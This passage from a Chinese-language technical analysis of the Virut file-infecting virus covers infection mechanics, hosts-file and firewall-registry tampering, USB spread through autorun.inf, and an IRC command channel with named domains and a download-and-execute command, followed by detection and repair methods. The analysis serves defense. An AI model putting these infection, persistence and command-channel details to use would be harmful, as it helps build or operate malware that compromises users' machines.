reloc_value = block_off[n] - block_size[n+1] – block_off[n+1]- 1 //n的取值為0、1、2、3 |
最后一個指令塊跳轉后的位置並不是本次注入代碼的任何一個指令塊,而是尾節注入代碼的起始地址。計算方式和前四個連接指令的重定位值計算方式略有不同。公式如下:
reloc_value = last_sec_inject_start_raw - block_size[4] – block_off[4]- 1 |
循環指令的重定位的計算方式也不相同,轉移后的目標指令是第二個指令塊的起始。公式如下:
reloc_value = block_off[1] - block_size[4] – block_off[4]- 1 |
在進行代碼重定位時,對於各個塊尾的連接指令由於指令塊設定時默認使用的是長轉移,會根據指令轉移的距離確定使用長跳轉還是短跳轉,並對代碼進行修正,修正后會有4個字節的空余,由於空余地址位於指令塊的最后一條指令之后,並不會對指令的正常運行有影響,不做處理。但有效指令中的循環指令位於指令塊中,空余的4個字節會影響指令的正常運行,會向其插入4個字節的花指令。插入花指令時使用的默認花指令標志是0x87,該指令標志屏蔽了四條有效指令可能使用的所有寄存器eax、ecx、edx對應的標志位。另外在插入花指令時會設定隱性參數為4,以確定插入的指令長度不超過4,但如果插入的指令長度小於4,將會繼續插入,並設定修正后的隱性參數,直到插入指令長度是4為止。
4、其他信息設置
其他信息設置包括文件頭信息設置,設置原始入口恢復數據,設置病毒入口調用,尾節代碼加密,回設文件的時間屬性信息。圖解如下:
設置文件頭信息包括,設置文件感染標記(dos頭0x28h偏移);修改文件內存映像大小;修改入口節和尾節的文件大小、內存大小和節屬性。設置原始入口恢復數據是為了當病毒功能代碼被調用后,用以恢復被感染文件原始文件功能代碼的調用。設置病毒入口調用將依據是對kernel函數調用函數是否查找到。若未找到將直接修改入口點指向,否則將修改kernel函數調用地址為call調用(0xeE9)。尾節代碼加密通過感染操作標記設定加密算法。加密算法的密鑰由生成的解密代碼中生成。加密長度和解密算法中設置的長度相同。修改文件的時間和屬性信息為感染前的保存的狀態。
0x60、創建遠程線程
病毒會嘗試向每個掛鈎成功(進程名前四個字符為csrs的進程不創建)的進程創建遠程線程,如果一次遠程線程創建成功,其余進程將不再創建遠程線程.完成如下功能:修改hosts文件、添加防火牆信任列表、恢復ssdt列表、感染移動磁盤、聯網受控。圖解如下:
0x61、修改hosts文件
修改hosts文件,修改域名指向,在hosts文件頭替換前24個字符為如下字符。
127.0.0.1 jL.chura.pl # |
0x62、添加防火牆信任列表
修改注冊表,添加防火牆信任列表
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List]
"virus_file_full_path"=" virus_file_full_path:*:enabled:@shell32.dll,-1"
0x63、恢復ssdt列表
判斷標記,確定是否執行該操作。首先通過“\\Device\\PhysicalMemory”對象按照正確的內存對齊方式把ntoskrnl.exe載入內存,通過搜索ntoskrnl.exe的輸出表定位KeServiceDescriptorTable的地址,申請內存讀出ssdt數據,然后創建線程恢復SSDT。在搜索ntoskrnl.exe的輸出表定位KeServiceDescriptorTable的地址時,通過匹配導出函數名字符串第二個字符串開始的4個字符為“eSer”進行確認。
0x64、感染移動磁盤
遍歷磁盤,通過GetDriveType函數判斷返回值是否為DRIVE_REMOVABLE=2。獲取可移動磁盤信息,檢測互斥標記是否有其他進程在對其正在進行感染。如果正在感染,跳過該磁盤,否則感染該磁盤。感染過程為復制病毒文件到移動磁盤根目錄。感染信息如下:
資源路徑為:"C:\WINDOWS\system32\USERINIT.EXE"
目的路徑為:"?:\LOGON.SCR"
創建autorun.inf文件並寫入數據
[autorun] open=LOGON.SCR |
0x65、聯網受控
連接服務器域名是一個列表。初始狀態下列表有兩個域名,地址如下:
首選域名"sys.zief.pl"
備選域名"core.ircgalaxy.pl"
如果兩個域名都連接不上,則讀取注冊表鍵值,將使用讀出的數據連接服務器,如果兩個方式都無法連接,循環連接,直到連接上為止。注冊表鍵值路徑:
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UpdateHost |
1、發送數據
連接成功后會將連接成功的服務器ip信息存放到上述注冊表中。而后連續向服務器發送三個數據包。從數據包中數據指令可以識別出,目標服務器是irc服務器,發送的三個數據包格式如下。
- 第一個數據包
格式字符串為:"NICK %s.USER %s"
第一個"%s"格式輸出為一個8位隨機小寫字母字符串。
第二個"%s"格式輸出為一個1位隨機小寫字母字符串。
字符串實例:
4E 49 43 4B 20 6E 6D 65 NICK nme 61 67 61 78 64 0A 55 53 agaxd.US 45 52 20 62 ER b |
- 第二個數據包
格式字符串為"%.6x . .:%c%.8x%x %s.JOIN"
"%.6x"格式輸出為系統版本編號。依次是:平台id、系統主板本號、系統次版本號,由GetVolumeInformationA獲取。
"%c"格式輸出為固定字符“#”
"%.8x"格式輸出為磁盤序列號,由GetVolumeInformationA獲取
"%x"格式輸出為磁盤序列號校驗和
校驗和計算方式:check_sum = (byte[0]+byte[1]+byte[2]+byte[3])&0xf
"%s"格式輸出為系統版本字符串,由GetVersionExA獲取
字符串實例:
30 32 30 35 30 31 20 2E 020501 . 20 2E 20 3A 23 66 63 32 . :#fc2 36 66 30 36 66 32 20 53 6f06f2 S 65 72 76 69 63 65 20 50 ervice P 61 63 6B 20 32 0A 4A 4F ack 2.JO 49 4E 20 IN |
- 第三個數據包
格式字符串為'#.%d',0Ah
輸入數字含義未知。為從變量讀取的數據和0xD相乘的結果。
字符串實例:
23 2E 32 33 37 39 0A #.2379. |
第一個數據包中發送的隨機字符串是通過一個隨機算法產生的,該隨機算法在樣本中被多次使用。算法指令如下:
imul edx, ss:rand_num[ebp], 8088405h inc edx mov ss:rand_num[ebp], edx //上面三行代碼是每次進行隨機運算后修改隨機種子。 mul edx //通過輸入參數eax和隨機種子計算隨機數,隨機數范圍數值在0 – eax之間,通過edx返回。 retn |
獲取隨機字符串時向獲取隨機數的函數傳入參數26,然后將獲取一個0-25之間的數值,將隨機數和字母a的ascii碼相加,得到隨機小寫字母。
回傳給服務器的三個數據包並非直接明文傳送給服務器,而是在回傳之前進行加密。加密算法采用的是xor運算,但每次運算后密鑰都會變化。服務器傳給感染計算機的數據也進行了加密,采用的加密密鑰和被感染計算機第一次發送給服務器時使用的密鑰相同,但在數據交互過程中並未發現密鑰傳輸,猜測服務器接收到被感染計算機發送的第一個數據包時會根據發送的密文數據和明文數據對比計算出密鑰。並以此密鑰作為數據交互的初始密鑰。
2、接收數據
對接收到的數據解密后會判斷包頭前四個字符,並執行相關操作,可以接受的指令操作有PING和PRIV。功能分別是心跳指令和命令指令。
- 心跳指令
接收數據后將直接將指令修改為PONG,其它數據不作修改加密后傳回。然后將連接成功的服務器信息寫入到注冊表中。注冊表路徑和上文連接服務器時使用的注冊表鍵值相同。
- 命令指令
可以支持兩個參數,分別是:下載執行指令和更新服務器指令。參數位於數據包包頭向后偏移8個byte。參數忽略大小寫。
!get 下載get后面的url到臨時目錄,創建“VRT”開頭的臨時文件並通過CreateProcessA執行。
!host 更新連接的目標主機的網址。可以是列表,如果是列表,只有上一個連接失敗的時候才會嘗試連接下一個。
0x70、恢復執行原始文件
病毒功能代碼在所有線程注入代碼、掛鈎函數並創建遠程線程后,將恢復原始文件功能代碼的執行,由於文件入口的感染方式不同,會有兩種方式恢復原程序代碼功能的調用。圖示如下:
當入口感染方式為直接修改入口點時,將通過直接跳轉到原始入口點的方式恢復原始文件的功能執行。若是通過修改kernel內部函數調用的方式調用病毒代碼時,將會對修改的kernel函數調用進行修改,修改為感染前的原始代碼,然后跳轉到修改后的kernel函數調用開始繼續執行原是文件的功能代碼。相關入口代碼kernel函數調用的恢復,在可執行文件感染部分已經介紹,原始數據通過硬編碼的方式通過兩條mov指令直接寫回修改的數據位置上。
0x80、分析過程說明
分析樣本MD5為:3E89843A0844294B89CB440751988E84;分析樣本病毒名幾個廠商的病毒名為:Virus.Win32.Virut.ce[Kaspersky]、Win32/Virut.NBP[ESET-NOD32]、W32/Virut.n.gen[McAfee]。
分析過程中相關使用的ida版本主要是ida5.5版本。涉及的相關地址數據如下:
第一步解密代碼執行
解密后的執行代碼地址為0041C00F。數據可參見step_1.idb
第二步環境判斷、解密執行
解密函數調用地址為00420E78,解密函數內部會在地址00420E02處,通過修改指令轉移到00420C6F處,開始代碼解密,解密后執行代碼的起始地址為00420E1B。數據可參見step_2.idb
第三步創建內存映像文件
向內存映像文件寫入代碼的函數調用地址是:0041C5C7,首先拷貝的是功能部分,然后通過jmp eax指令跳轉到拷貝的功能代碼中,轉換到本地代碼地址為0041C1A9,開始對加花部分的還原和拷貝。拷貝完畢后對內存映像文件進行調用。轉換到本地的內存地址為0041C5CC(該地址即是向內存映像文件寫入代碼函數的下一條指令地址)數據可參見step_3.idb
第四步注入代碼、掛鈎函數
掛鈎相關函數的函數調用地址為0041C65C,掛鈎函數掛鈎后調用的代碼地址列表如下:
函數名 |
掛鈎后調用的病毒函數 |
ntdll.ZwDeviceIoControlFile |
00420B01 |
ntdll.ZwCreateFile |
004207E1//02D0587D |
ntdll.ZwOpenFile |
00420866//02D05902 |
ntdll.ZwCreateProcess |
00420870 |
ntdll.ZwCreateProcessEx |
0042087D |
未知api |
0042088A |
ntdll.ZwQueryInformationProcess |
004208BE |
創建的遠程線程的地址相對起始偏移為0x206A。數據可參見step_3.idb。關於ZwCreateFile和ZwOpenFile函數感染文件的功能代碼較為復雜,可通過dump內存映像文件,rebase地址為2D01000單獨分析。相關文件參見2D01000.idb文件,該文件對應的ida版本是ida6.6。
第五步創建遠程線程
OD中dump遠程線程內存,IDA加載設置加載基址為2D01000。可在地址2D0306A下看到遠程進程的代碼。感染hosts文件的代碼地址為02D0312E;添加防火牆信任列表的代碼地址為02D0333D;恢復SSDT列表的函數調用地址為02D033C5;創建線程感染移動驅動器的調用地址為02D033CA,新線程地址為02D02D28;聯網受控的代碼地址為02D033F4,聯網接收數據后指令解析代碼地址為02D02871。數據可參見2D01000.idb。
分析文件和相關idb文件可參見附件。
0x90、檢測和修復
分析nod32對該變種的識別,是首先判斷是否存在入口節的加密數據,如果存在將對數據進行解密。而后對明文的尾節數據進行識別判斷。判斷方式是匹配尾節數據是否和指令表中的相關指令數據存在3個4bytes連續塊相同。找到匹配數據后將以此數據向前對齊,作為尾節注入數據的起始地址,用以修復時使用。在對入口節注入代碼的解密算法和密鑰識別,是通過相關解密指令確定的解密算法,解密起始地址,解密密鑰。具體指令是直接在結尾最小內存對齊的空間內進行遍歷搜索得到。
nod32處理方式存在一些問題:被感染文件存在感染標記,可以通過感染標記過濾白文件,提高檢測效率;入口節解密算法識別搜索范圍太大,影響效率且可能識別到錯誤的代碼;尾節注入代碼起始地址確認搜索范圍太大,影響效率且可能識別到錯誤的代碼,識別方式采用滑動搜索,會有部分無效搜索。
要對被感染文件進行檢測,首先應該了解感染前后文件的差異;或是病毒對被感染文件的修改和代碼注入的位置。相關信息可參見下圖:
0x91、virut檢測
由於文件被感染后會存在一個感染標記,對文件識別首先應該過濾感染標記,不存在感染標記的樣本將直接認為是未感染樣本。具有感染標記的文件識別根據感染情況大體可以分為兩種,入口點節尾加入解密指令和未加入解密指令。
對於入口節插入解密指令的,病毒代碼將會是一段循環解密指令,共有5個數據塊,塊之間通過jmp連接。最后一個數據塊中還包含一個jg轉移指令,且每個數據塊的大小不大於0x30。通過對塊長度未0x30的數據進行搜索jmp指令,而后依次搜索,當搜索到第五個后,其中存在jg指令和塊尾的jmp指令,其中jg指令將跳轉到目的地址和第一個指令塊跳轉的目的地址相同,而第五個塊塊尾的jmp指令目的地址是最后一個數據塊,按此邏輯識別virut樣本。若此邏輯識別不到樣本,則認為樣本未在入口節插入加密指令。
對於入口節未插入解密指令的,病毒或是將入口直接指向最后一個數據節,或通過入口下方的api地址調用修改call到最后一個數據節,而尾節調用后也是多個數據塊jmp連接指令。可以通過判斷入口或是在尾節,或是通過入口節call到尾節,而尾節地址存在至少連續若干個小塊代碼jmp拼接,通過對代碼分塊分析可以知道,分塊時每個塊的指令個數是3-5個,且尾部jmp連接指令的前一條指令是有效指令,可以匹配在jmp指令前的上一條指令是否為可能出現的指令,按此邏輯識別virut樣本。為提高樣本的識別效率,還可以對樣本的尾節大小上做過濾。識別其尾節大小不小於0x5000(該數據是根據尾節注入代碼大小確定的。)
0x92、Virut修復
修復部分主要包含三個方面,PE頭部信息調整;入口節節尾注入代碼刪除和入口地址代碼修復;尾節代碼的注入代碼刪除。在特殊情況下,入口點所在節可能不會被做修改,只需要修復pe頭信息並刪除尾節注入代碼即可。
PE頭信息調整,感染標記可以直接修復,文件映像大小和節表信息的修復方式需要根據節中刪除病毒代碼的多少進行計算調整;入口點如果被修改需要對尾節注入的數據進行讀取計算恢復。入口點恢復的具體方式和感染時采用的方式有關;入口節和尾節注入代碼的刪除,可以通過遍歷跳轉循環,獲取最小地址,然后刪除相關數據。恢復被感染樣本時,相關節注入代碼的刪除,關鍵在於對分塊數據尾部轉移指令的匹配,相關匹配方式可以參見識別部分對分塊后跳轉的識別。入口節相關代碼的修復可以通過識別加花數據塊時跳回執行原始程序功能之前識別恢復代碼的方式,獲取修改的原始數據。
參考資料:
徐大力 Virut分析 http://www.pediy.com/kssd/pediy10/97877.html
yuansunxue 一次virut分析之旅 http://bbs.pediy.com/showthread.php?t=151135
附件:
http://files.cnblogs.com/files/Mikhail/virut_analysys.pdf
http://files.cnblogs.com/files/Mikhail/idb.7z